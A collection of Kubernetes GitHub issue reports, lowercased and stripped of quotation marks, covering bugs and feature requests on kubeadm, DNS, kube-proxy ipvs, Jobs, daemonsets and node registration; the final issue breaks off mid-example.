able to create a pod successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. hack/local-up-cluster.sh\r 2. check /tmp/kubelet.log\r 3. kubectl.sh create -f task-pv-volume.yaml\r 4. kubectl.sh create -f task-pv-claim.yaml\r 5. kubectl.sh create -f task-pv-pod.yaml\r \r yaml files used in my testing:\r \r pv task-pv-volume.yaml:\r \r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: task-pv-volume\r   labels:\r     type: local\r spec:\r   storageclassname: manual\r   capacity:\r     storage: 1gi\r   accessmodes:\r     - readwriteonce\r   hostpath:\r     path: \ /tmp/data\ \r \r \r pvc task-pc-claim.yaml:\r \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: task-pv-claim\r spec:\r   storageclassname: manual\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r \r \r pod task-pv-pod.yaml:\r \r apiversion: v1\r metadata:\r   name: task-pv-pod\r spec:\r \r   volumes:\r     - name: task-pv-storage\r       persistentvolumeclaim:\r        claimname: task-pv-claim\r \r   containers:\r     - name: task-pv-container\r       image: nginx\r       ports:\r         - containerport: 80\r           name: \ http-server\ \r       volumemounts:\r       - mountpath: \ /usr/share/nginx/html\ \r         name: task-pc-storage\r \r \r   anything else we need to know?  :\r this is related to \ https://github.com/kubernetes/kubernetes/issues/49822\ .\r the commit \ enable node authorizer in local-up-cluster  49812\  fixed \ kubectl get node\ , but there are still remaining issues as described here.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:  local-up-cluster.sh\r - others:\r

the kubeadm need some sandbox image to setup the kubernetes \r \r    \r gcr.io/google_containers/kube-apiserver-amd64            v1.7.3              a1cc3a3d8d0d        10 days ago         186mb\r gcr.io/google_containers/kube-controller-manager-amd64   v1.7.3              d014f402b272        10 days ago         138mb\r gcr.io/google_containers/kube-scheduler-amd64            v1.7.3              51967bf607d3        10 days ago         77.2mb\r gcr.io/google_containers/kube-proxy-amd64                v1.7.3              54d2a8698e3c        10 days ago         115mb\r gcr.io/google_containers/k8s-dns-sidecar-amd64           1.14.4              38bac66034a6        6 weeks ago         41.8mb\r gcr.io/google_containers/k8s-dns-kube-dns-amd64          1.14.4              a8e00546bcf3        6 weeks ago         49.4mb\r gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64     1.14.4              f7f45b9cb733        6 weeks ago         41.4mb\r gcr.io/google_containers/etcd-amd64                      3.0.17              243830dae7dd        5 months ago        169mb\r gcr.io/google_containers/pause-amd64                     3.0                 99e59f495ffa        15 months ago       747kb\r    \r \r can we add a command    kubeadm prefight   \r \r it will list the pre images\r \r    \r docker pull gcr.io/google_containers/kube-apiserver-amd64:v1.7.3    \r docker pull gcr.io/google_containers/kube-controller-manager-amd64:v1.7.3\r docker pull gcr.io/google_containers/kube-scheduler-amd64:v1.7.3\r docker pull gcr.io/google_containers/kube-proxy-amd64:v1.7.3\r docker pull gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.4 \r docker pull gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.4\r docker pull gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.4\r docker pull gcr.io/google_containers/etcd-amd64:3.0.17\r docker pull gcr.io/google_containers/pause-amd64:3.0\r    \r \r \r so the user can pre download these images , prepare for kubeadm . \r \r if not download these images. kubeadm will not quick to set up kubernete. \r \r and often hang up due to network problem.\r

master release blocking e2e tests are currently failing to come up. for example:\r https://k8s-testgrid.appspot.com/release-master-blocking gke\r \r gce tests are fine.\r \r cc @kubernetes/test-infra-maintainers \r cc @spxtr  current testinfra on call \r cc @kubernetes/kubernetes-release-managers

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r as a probe based kubelet plugin discovery mechanism been introduced at \r https://github.com/kubernetes/kubernetes/pull/63328 , the initial implementation  \r support flat plugin socket directory, this is assuming all socket file names are unique.  \r \r as number of plugin grows in the future, it is harder to coordinate socket names cross all vendors.  \r we can support hierarchical filesystem namespaces to solve this problem.  \r \r   how to name the namespaces  :\r the namespace name could be\r    \r      1:1 map to vendor name,  \r      or plugin type name  csi, deviceplugin ,\r      or combine both plugin type and vendor name.\r    \r then socket names only need be unique within one namespace, it will\r be much easier to coordinate naming within the namespace.  \r \r \r   what you expected to happen  :\r the plugin socket directory looks like this:  \r \r    \r  plugin socket directory  \r     |  \r     ----> namespace 1 \r                    |  \r                    ----->  socket1,  socket2 ...  \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r this already been mentioned as todo in https://github.com/kubernetes/kubernetes/pull/63328\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r  /area hw-accelerators\r /cc @jiayingz @renaudwastaken @vishh @scorpiocph @sjenning @derekwaynecarr @jeremyeder @lichuqiang @tengqm @saad-ali @chakri-nelluri @connordoyle @vladimirvivien \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r  kind bug\r \r \r \r   what happened  :\r \r dns lookup from within the pod fails. when using name to resolve. \r \r if you don't see a command prompt, try pressing enter.\r   root@curl-775f9567b5-ktcf5:/  $ nslookup 10.96.0.1\r server:    10.96.0.10\r address 1: 10.96.0.10\r \r name:      10.96.0.1\r address 1: 10.96.0.1\r \r -- returns just the ip. \r \r   root@curl-775f9567b5-ktcf5:/  $ nslookup kubernetes.default\r server:    10.96.0.10\r address 1: 10.96.0.10\r \r   nslookup: can't resolve 'kubernetes.default'  \r \r   root@curl-775f9567b5-ktcf5:/  $ curl google.com\r curl:  6  couldn't resolve host 'google.com'\r \r   what you expected to happen  :\r \r   root@e457aa352100:/  $ curl google.com\r <html><head><meta http-equiv=\ content-type\  content=\ text/html;charset=utf-8\ >\r <title>301 moved</title></head><body>\r \r the document has moved\r <a href=\ http://www.google.com/\ >here</a>.\r </body></html>\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup k8 using kubeadm\r tried both flannel and calico network. \r \r \r   anything else we need to know?  :\r \r kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c kubedns\r i0531 22:06:48.850820       1 dns.go:48  version: 1.14.8\r i0531 22:06:48.851676       1 server.go:71  using configuration read from directory: /kube-dns-config with period 10s\r i0531 22:06:48.851715       1 server.go:119  flag: --alsologtostderr=\ false\ \r i0531 22:06:48.851722       1 server.go:119  flag: --config-dir=\ /kube-dns-config\ \r i0531 22:06:48.851726       1 server.go:119  flag: --config-map=\ \ \r i0531 22:06:48.851730       1 server.go:119  flag: --config-map-namespace=\ kube-system\ \r i0531 22:06:48.851733       1 server.go:119  flag: --config-period=\ 10s\ \r i0531 22:06:48.851737       1 server.go:119  flag: --dns-bind-address=\ 0.0.0.0\ \r i0531 22:06:48.851740       1 server.go:119  flag: --dns-port=\ 10053\ \r i0531 22:06:48.851745       1 server.go:119  flag: --domain=\ cluster.local.\ \r i0531 22:06:48.851750       1 server.go:119  flag: --federations=\ \ \r i0531 22:06:48.851754       1 server.go:119  flag: --healthz-port=\ 8081\ \r i0531 22:06:48.851757       1 server.go:119  flag: --initial-sync-timeout=\ 1m0s\ \r i0531 22:06:48.851761       1 server.go:119  flag: --kube-master-url=\ \ \r i0531 22:06:48.851765       1 server.go:119  flag: --kubecfg-file=\ \ \r i0531 22:06:48.851768       1 server.go:119  flag: --log-backtrace-at=\ :0\ \r i0531 22:06:48.851773       1 server.go:119  flag: --log-dir=\ \ \r i0531 22:06:48.851777       1 server.go:119  flag: --log-flush-frequency=\ 5s\ \r i0531 22:06:48.851780       1 server.go:119  flag: --logtostderr=\ true\ \r i0531 22:06:48.851783       1 server.go:119  flag: --nameservers=\ \ \r i0531 22:06:48.851786       1 server.go:119  flag: --stderrthreshold=\ 2\ \r i0531 22:06:48.851789       1 server.go:119  flag: --v=\ 2\ \r i0531 22:06:48.851793       1 server.go:119  flag: --version=\ false\ \r i0531 22:06:48.851802       1 server.go:119  flag: --vmodule=\ \ \r i0531 22:06:48.851834       1 server.go:201  starting skydns server  0.0.0.0:10053 \r i0531 22:06:48.852022       1 server.go:220  skydns metrics enabled  /metrics:10055 \r i0531 22:06:48.852030       1 dns.go:146  starting endpointscontroller\r i0531 22:06:48.852033       1 dns.go:149  starting servicecontroller\r i0531 22:06:48.852279       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0531 22:06:48.852289       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0531 22:06:49.352319       1 dns.go:170  initialized services and endpoints from apiserver\r i0531 22:06:49.352343       1 server.go:135  setting up healthz handler  /readiness \r i0531 22:06:49.352366       1 server.go:140  setting up cache handler  /cache \r i0531 22:06:49.352373       1 server.go:126  status http port 8081\r i0531 22:46:08.860229       1 sync.go:177  updated upstreamnameservers to  172.24.162.201 172.24.162.191 \r i0531 22:46:08.860257       1 dns.go:197  configuration updated: {typemeta:{kind: apiversion:} federations:map   stubdomains:map   upstreamnameservers: 172.24.162.201 172.24.162.191 }\r i0531 23:06:18.860249       1 sync.go:177  updated upstreamnameservers to  8.8.8.8 8.8.4.4 \r i0531 23:06:18.860278       1 dns.go:197  configuration updated: {typemeta:{kind: apiversion:} federations:map   stubdomains:map   upstreamnameservers: 8.8.8.8 8.8.4.4 }\r i0531 23:40:08.860190       1 dns.go:197  configuration updated: {typemeta:{kind: apiversion:} federations:map   stubdomains:map   upstreamnameservers:  }\r \r \r \r   environment  :\r \r - kubernetes version\r \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os \r \r name=\ red hat enterprise linux server\ \r version=\ 7.5  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.5\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.5:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.5\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.5\ \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r add  non-default  storageclass for pd-ssd.  this should use and wait for delayed binding ga.\r \r /assign

what happened  :\r when updating to 1.15 in ipvs mode, kube-proxy fails to start\r \r   what you expected to happen  :\r kube-proxy updates ok\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy kube-proxy <1.15 in ipvs mode and update to 1.15\r \r   anything else we need to know?  :\r error message in kube-proxy:\r    \r e0430 10:05:53.783443       1 ipset.go:162  failed to make sure ip set: &{{kube-node-port-local-sctp hash:ip,port inet 1024 65536 0-65535 kubernetes nodeport sctp port with externaltrafficpolicy=local} map   0xc00032e830} exist, error: error creating ipset kube-node-port-local-sctp, error: exit status 1\r    \r \r i think the reason is the change of ipset type  bitmap to hash  in pr https://github.com/kubernetes/kubernetes/pull/74341. the 2 sets that creates the problem are:\r -  kube-node-port-sctp \r -  kube-node-port-local-sctp \r \r removing the sets manually works but is not a great solution for in-place updates.\r i think we should fix this before the 1.15 release  not sure what the best approach is: delete the set if it exists with the wrong type? use a different name to avoid the collision? \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14 => 1.15\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.4\r \r  /area ipvs\r /assign @m1093782566 \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r > we deploy a daemonset ds-foo  in cluster and we want to delete its pods from nodes 1,2...,n , so we add a special label to nodes to let ds-foo not matched with these nodes. finally only a part of nodes'pod was deleted.\r \r   what you expected to happen  :\r > ds-foo's pods should be deleted by daemon controller from all unmatched nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r > it occurred occasionally\r \r   anything else we need to know?  :\r \r   environment  :\r > the latest k8s version also has this bug\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r we upgraded to 1.14.3 expecting  77802 to have fixed  76664  ie ipvs rules for coredns servers on udp port 53 should be removed automatically . a few days later, we had yet-another coredns outage, inspection showed that ipvs rules were pointing at deleted coredns pods\r \r   what you expected to happen  :\r \r a coredns scaledown should not leave bad ipvs rules hanging around\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r exactly as in  76664, a cluster in ipvsmode with dns-autoscaler with 2 coredns pods, start some dns load  just loop on dig  in busybox then delete one of the coredns pods, so that it is replaced.\r then go check  ipvsadm -ln |grep :53  on each node and look at the lines where the weight is 0, the inactive connections to the old coredns pod never drop to 0.\r \r   anything else we need to know?  :\r we know from inspecting the code and the logs that this is a simple string case bug.\r \r what we see in our logs:\r    \r i0613 17:55:52.184798       1 graceful_termination.go:160  trying to delete rs: 10.96.0.10:53/udp/172.26.145.1:53\r i0613 17:55:52.184889       1 graceful_termination.go:171  not deleting, rs 10.96.0.10:53/udp/172.26.145.1:53: 0 activeconn, 10 inactiveconn\r    \r this string is generated here:\r https://github.com/kubernetes/kubernetes/blob/v1.14.3/pkg/proxy/ipvs/graceful_termination.go l171\r which calls through these 2 functions:\r https://github.com/kubernetes/kubernetes/blob/v1.14.3/pkg/proxy/ipvs/graceful_termination.go l43-l48\r to this one for the virtual server:\r https://github.com/kubernetes/kubernetes/blob/v1.14.3/pkg/util/ipvs/ipvs.go l103\r ... so the 'udp' in those log lines  upper case  is virtualserver.protocol.\r \r but the comparison done is this:\r https://github.com/kubernetes/kubernetes/blob/v1.14.3/pkg/proxy/ipvs/graceful_termination.go l170\r comparing virtualserver.protocol to \ udp\   lower case . since we know there's tests in place for this we can only presume this is a distro-specific thing.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.3\ , gitcommit:\ 5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0\ , gittreestate:\ clean\ , builddate:\ 2019-06-06t01:44:30z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ amazon linux\ \r version=\ 2\ \r id=\ amzn\ \r id_like=\ centos rhel fedora\ \r version_id=\ 2\ \r pretty_name=\ amazon linux 2\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:2.3:o:amazon:amazon_linux:2\ \r home_url=\ https://amazonlinux.com/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-216-67-64.csand.us-west-1.aws.groupondev.com 4.14.121-109.96.amzn2.x86_64  1 smp wed may 22 16:54:10 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r kubeadm\r - network plugin and version  if this is a network-related bug :\r calico 3.7.2\r - others:\r \r

forked from  8358 ...  we need a test to verify kubelet and docker integration which should covers:  1  image, registry, etc. 2  container lifecycle 3  docker exec and hooks 4  resource related ...   we already have some tests cover 1  to 3 , but missing 4  for sure.

in v1beta3, replicationcontrollerspec.replicas is defined as:      replicas int  json:\ replicas,omitempty\  description:\ number of replicas desired\        in v1, it is:      replicas  int  json:\ replicas,omitempty\  description:\ number of replicas desired; defaults to 1\        omitempty means a value of 0 will not be serialized in v1beta3  see http://play.golang.org/p/injwh33qnh .  removing a user-set value of 0 when building v1beta3 api responses, and treating the absence of that value as a different default in the next version of the api is surprising. the conversions handle the cases correctly, but i would expect this to trip up users.

if i shut off my instance, it should receive an  acpi  https://en.wikipedia.org/wiki/advanced_configuration_and_power_interface  shutdown signal,  e.g.  in gce  https://cloud.google.com/compute/docs/instances/stopping-or-deleting-an-instance delete_timeout  .  kubelet should respect that signal and self-evacuate, or, at least, signal to the node controller that it's going down and is  notready .  i'm branching this off of https://github.com/kubernetes/kubernetes/issues/7351, because a node- or cloud provider-initiated shutdown is different from going through the api.

if the scheduler is a newer version, but the nodes are not, we should prevent pods with apparmor options from being scheduled on the older nodes.  options: 1. use the reported kubelet version in the node info to determine whether a node is \ apparmor aware\ . rely on the kubelet to reject the pod if the node does not meet the  apparmor prerequisites  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/apparmor.md prerequisites . 2. have you kubelet publish it's apparmor status  i.e. whether aa is enabled on the node , and use that status to determine where the pod can be run.  i'm inclined to go with the first option because  a  it doesn't add the complexity of the kubelet publishing it's status and  b  the goal isn't to make this work on heterogeneous clusters  use node labels for that .  do we need to get this into 1.4, or should we save it for 1.5?  cc/ @dchen1107 @yujuhong @jfrazelle @thockin @matchstick

we need a scheduledjobs reaper for  kubectl delete , so that when an sj is deleted, its jobs and pods are deleted too.   @erictune @soltysh

kubelet already checks endpoints  readinessprobe and livenessprobe , so why don't implement metrics gathering for these probes?

is this a bug report or feature request?  :\r \r   \r   description  :\r \r  nodeshouldrundaemonpod  is a key function of daemonset; it's better to have more unit test case for it, e.g. node status, pod on the node. there's several test cases to the daemonset's finial decision, which are kind of integration test to me; prefer to provide more unit test case for this key function.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54485/pull-kubernetes-unit/61488/\r \r probably due to https://github.com/kubernetes/kubernetes/pull/53695

is this a bug report or feature request?  :\r \r   \r   what happened  :\r when creating a job with  backofflimit: 2  and  restartpolicy: onfailure , the pod with the configuration included below continued to restart and was never marked as failed: \r \r     \r $ kubectl get pods\r name               ready     status    restarts   age\r failed-job-t6mln   0/1       error     4          57s\r    \r \r    \r $ kubectl describe job failed-job\r name:           failed-job\r namespace:      default\r selector:       controller-uid=58c6d945-be62-11e7-86f7-080027797e6b\r labels:         controller-uid=58c6d945-be62-11e7-86f7-080027797e6b\r                 job-name=failed-job\r annotations:    kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ batch/v1\ ,\ kind\ :\ job\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ failed-job\ ,\ namespace\ :\ default\ },\ spec\ :{\ backofflimit\ :2,\ template\ :{\ met...\r parallelism:    1\r completions:    1\r start time:     tue, 31 oct 2017 10:38:46 -0700\r pods statuses:  1 running / 0 succeeded / 0 failed\r pod template:\r   labels:  controller-uid=58c6d945-be62-11e7-86f7-080027797e6b\r            job-name=failed-job\r   containers:\r    nginx:\r     image:  nginx:1.7.9\r     port:   <none>\r     command:\r       bash\r       -c\r       exit 1\r     environment:  <none>\r     mounts:       <none>\r   volumes:        <none>\r events:\r   type    reason            age   from            message\r   ----    ------            ----  ----            -------\r   normal  successfulcreate  1m    job-controller  created pod: failed-job-t6mln\r    \r \r   what you expected to happen  :\r \r we expected only 2 attempted pod restarts before the job was marked as failed. the pod kept restarting and  job.pod.status  was never set to failed, remained active. \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r  apiversion: batch/v1\r  kind: job\r  metadata:\r    name: failed-job\r    namespace: default\r  spec:\r    backofflimit: 2\r    template:\r      metadata:\r        name: failed-job\r      spec:\r        containers:\r        - name: nginx\r          image: nginx:1.7.9\r          command:  \ bash\ , \ -c\ , \ exit 1\  \r        restartpolicy: onfailure\r    \r \r create the above job and observe the number of pod restarts.\r \r   anything else we need to know?  :\r \r the  backofflimit  flag works as expected when  restartpolicy: never .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0 using minikube\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >   \r   what happened  :\r we have master node inside aws and some nodes on bare metal inside 3rd party datacenter. connection between dc and aws built over internet so it could be not so stable. when there is a connection outage for 3-5 minutes node leaves cluster  i.e. i can't see it with kubectl get nodes . after that housekeeping removes all pods from the remote node  with kube-proxy  and i see only:\r \r    \r root@vl1-35:~  docker ps              \r container id        image                                                                                     command                  created             status              ports               names\r 25057c0f3d6d        google/cadvisor@sha256:09c8d73c9b799d30777763b7029cfd8624b8a1bd33af652ec3b51a6b827d492a   \ /usr/bin/cadvisor...\    6 days ago          up 6 days                               k8s_cadvisor_cadvisor-vl1-35.itcapital.io_default_ed250e3dd1b5a27ab9af53a977c969a4_1\r db161dd60898        gcr.io/google_containers/pause-amd64:3.0                                                  \ /pause\                  6 days ago          up 6 days                               k8s_pod_cadvisor-vl1-35.itcapital.io_default_ed250e3dd1b5a27ab9af53a977c969a4_2\r \r    \r when connection is restored kubelet cannot register node on master:\r    \r dec 15 07:56:55 vl1-35 kubelet 32590 : e1215 07:56:55.194569   32590 kubelet_node_status.go:386  error updating node status, will retry: error getting node \ vl1-35.itcapital.io\ : nodes \ vl1-35.itcapital.io\  not found\r dec 15 07:56:55 vl1-35 kubelet 32590 : e1215 07:56:55.251218   32590 kubelet_node_status.go:386  error updating node status, will retry: error getting node \ vl1-35.itcapital.io\ : nodes \ vl1-35.itcapital.io\  not found\r \r     \r \r issue can be fixed with \ systemctl restart kubelet\  and put all labels back to my new-old node once again  kubelet label node .... \r \r   what you expected to happen  :\r continue normal operation when connectivity will be restored\r \r   how to reproduce it  as minimally and precisely as possible   :\r apply on master node:\r iptables -i input 1 -p tcp -s \ node ip\ /32 --dport \ api server port\  -j drop\r and wait for 3-5 minutes\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws + bare metal\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r linux ip-172-28-68-60 4.4.0-1041-aws  50-ubuntu smp wed nov 15 22:18:17 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r - others:\r

https://k8s-testgrid.appspot.com/sig-release-1.10-blocking gce-kubeadm-1.9-on-1.10\r \r   /milestone v1.10\r / \r cc @jdumars @jberkus \r \r /assign\r i'll dig into it and see if i can find any clue

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r after i added the content below to the configmap of kube-dns, i have to wait for a long time to use the dns server（10.0.10.1） normally!\r    \r data:\r   stubdomains: |\r       {\  . \ : \ 10.0.10.1\ }\r    \r but if i added the param   --max-cache-ttl=5   to the start command of dnsmasq, the dns server could become effective and be used normally immediately, so i wonder what is the default cache time of kube-dns?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install:\r 

k8s version: v1.9.3\r when i create customresourcedefinition, there is error like operation cannot be fulfilled on customresourcedefinitions.apiextensions.k8s.io \ virtualservices.networking.istio.io\ : the object has been modified; please apply your changes to the latest version and try again .\r \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: virtualservices.networking.istio.io\r   annotations:\r     \ helm.sh/hook\ : crd-install\r   labels:\r     app: istio-pilot\r spec:\r   group: networking.istio.io\r   names:\r     kind: virtualservice\r     listkind: virtualservicelist\r     plural: virtualservices\r     singular: virtualservice\r     categories:\r     - istio-io\r     - networking-istio-io\r   scope: namespaced\r   version: v1alpha3\r \r so what is the reason of it?

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gce-cos-k8sbeta-default  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9858 \r \r   which test s  are failing  :\r   k8s.io  pods should support pod readiness gates  nodefeature:podreadinessgate     build 9858  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-default/9858 \r \r   since when has it been failing  :\r it has been flaking more frequently since 3/13.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default\r \r   reason for failure  :\r the issue seems to be a timeout\r    \r i0314 01:53:57.958  mar 14 01:53:55.768: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r i0314 01:53:57.959  mar 14 01:53:57.870: info: namespace pods-4212 deletion completed in 46.413084965s\r i0314 01:53:57.959 \r i0314 01:53:57.959 \r i0314 01:53:57.959  • failure  91.269 seconds \r i0314 01:53:57.959   k8s.io  pods\r i0314 01:53:57.959  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:691\r i0314 01:53:57.959  should support pod readiness gates  nodefeature:podreadinessgate   it \r i0314 01:53:57.959  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:746\r i0314 01:53:57.959 \r i0314 01:53:57.959  unexpected error:\r i0314 01:53:57.959  < errors.errorstring | 0xc000324470>: {\r i0314 01:53:57.959  s: \ timed out waiting for the condition\ ,\r i0314 01:53:57.960  }\r i0314 01:53:57.960  timed out waiting for the condition\r i0314 01:53:57.960  occurred\r i0314 01:53:57.960 \r i0314 01:53:57.960  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:779\r i0314 01:53:57.960  ------------------------------\r    \r \r @kubernetes/sig-node-test-failures\r cc @smourapina @alejandrox1 @kacole2 @mortent\r \r   / /milestone v1.14\r

i am not sure this is a design issue or not, but it puzzled me a lot.  i found my service fails with fixed probability if one of endpoints unreachable when use kube-proxy with iptables mode.   it is a critical problem that client's real requests will be refused when 1  my service is down while container is running ok, before next readiness time interval come if i have readiness probe 2  i am doing a rolling update  the user space mode does not have this problem since kube-proxy will make a real connection to endpoint before proxy the flow.  since aws elb could retry the next endpoint if one endpoint is unreachable, so should i hide my service behind of a elb to avoid this issue? bug how to do when i am in a baremetal env, create a nginx for each service? 1. environment:    root@ip-172-20-0-9:~  kubectl version    client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 5cb86ee022267586db386f62781338b0483733b3\ , gittreestate:\ clean\ }    server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ 5cb86ee022267586db386f62781338b0483733b3\ , gittreestate:\ clean\ } 2. how to reproduce:    2.1 create rc with 2 pods of nginx:    root@xx  cat nginx.rc.json     {    \ apiversion\ : \ v1\ ,     \ kind\ : \ replicationcontroller\ ,     \ metadata\ : {        \ name\ : \ nginx\ ,         \ namespace\ : \ default\     },     \ spec\ : {        \ replicas\ : 2,         \ selector\ : {            \ name\ : \ nginx\ ,             \ version\ : \ latest\         },         \ 